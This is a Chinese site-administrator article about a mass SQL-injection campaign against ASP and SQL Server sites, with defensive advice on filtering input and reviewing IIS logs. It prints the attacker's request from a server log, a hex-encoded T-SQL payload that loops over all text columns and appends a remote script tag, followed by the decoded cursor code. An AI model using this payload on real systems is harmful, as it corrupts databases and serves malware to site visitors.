快捷搜索:   服务器  安全  linux 安全  MYSQL  dedecms

MSSQL数据库挂马的解决方法

  前段时间,公司一个主要的网站数据库中个别表的数据经常被修改并挂马,由于网站是以前别人做的,代码有点乱,所以只看了与这几个表相关的文件代码。原因可能是接收参数的时候没有过滤危险字符,于是就加上了接受参数的格式化函数,数据库连接文件中也把接受参数时出现的“;”替换成“;”了。但是过了一天,又被挂马,分号替换没有起到作用。

  于是搜索了一下,发现从3月份开始很多数据库SQL注入挂马的例子,看来这段时间这种挂马手段很流行,并且只是针对Asp+Sql Server的网站,只有你网站代码存在SQL注入的漏洞,就可能会被挂马,而且只针对文本型的字段char/text类似的字段,修改之后的数据后面基本上都是js,1.js,b.js等,而且里面的网址经常改变。

  无奈,只能先找防止SQL注入的方法,在网上搜索到以下代码,把该代码加到数据库连接文件中:

  以下为引用的内容:

  注意:regEx.Pattern中的值根据你的需要设置,如设置不当,则一般提交的信息也会提示有SQL注入。加上这段代码之后就再也没有出现被注入挂马的现象。前几天,从空间商那要IIS日志,查看日志才发现被SQL注入的具体网址与方法,如下:

  以下为引用的内容:

  2008-06-23 16:01:31 GET x.asp id=90;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C40432056415243484152283235352920

  4445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616

D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524

520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F522

0622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E

205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2

040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415

445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E56455254285641524348415

22834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E61647

7626E722E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D20546162

6C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414

C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- - 201.8.166.17 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) - www.xxx.com 200 0 271 1432 406

  中间那段代码解密之后就是:

  以下为引用的内容:

  DECLARE @T varchar(255),

  @C varchar(255)

  DECLARE Table_Cursor CURSOR FOR

  Select

  a.name,b.name

  from sysobjects a,

  syscolumns b

  where a.id=b.id and

  a.xtype=’u’ and

  (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

  OPEN Table_Cursor

  FETCH NEXT FROM Table_Cursor INTO @T,@C

  WHILE(@@FETCH_STATUS=0)

  BEGIN

  exec(’update [’+@T+’] set [’+@C+’]=

  rtrim(convert(varchar,[’+@C+’]))+

  ”挂马内容”’)

  FETCH NEXT FROM Table_Cursor INTO @T,@C

  END

  CLOSE Table_Cursor

  DEALLOCATE Table_Cursor

  并且,这个SQL注入隔几分钟一次,而且不停地更换IP,根本就无法查到它的真实来源,可见这种人多么卑鄙。

  如果网站IIS日志比较大,则可以用“IIS网站日志导入分析工具”帮你查询分析。

  建议:如果数据库数据库被修改并挂马:

  1、先看IIS日志,被注入的页面是哪些,然后修改那些页面的代码,防止SQL注入。

  2、如果没有IIS日志,也找不到被利用的页面,那就使用上面说的在数据库连接文件中加入那些代码。

  出现SQL注入,肯定是网站代码存在漏洞,所以代码规范化才是重点。

   www..com ( 责任编辑 Teng)

顶(0)
踩(0)

您可能还会对下面的文章感兴趣:

最新评论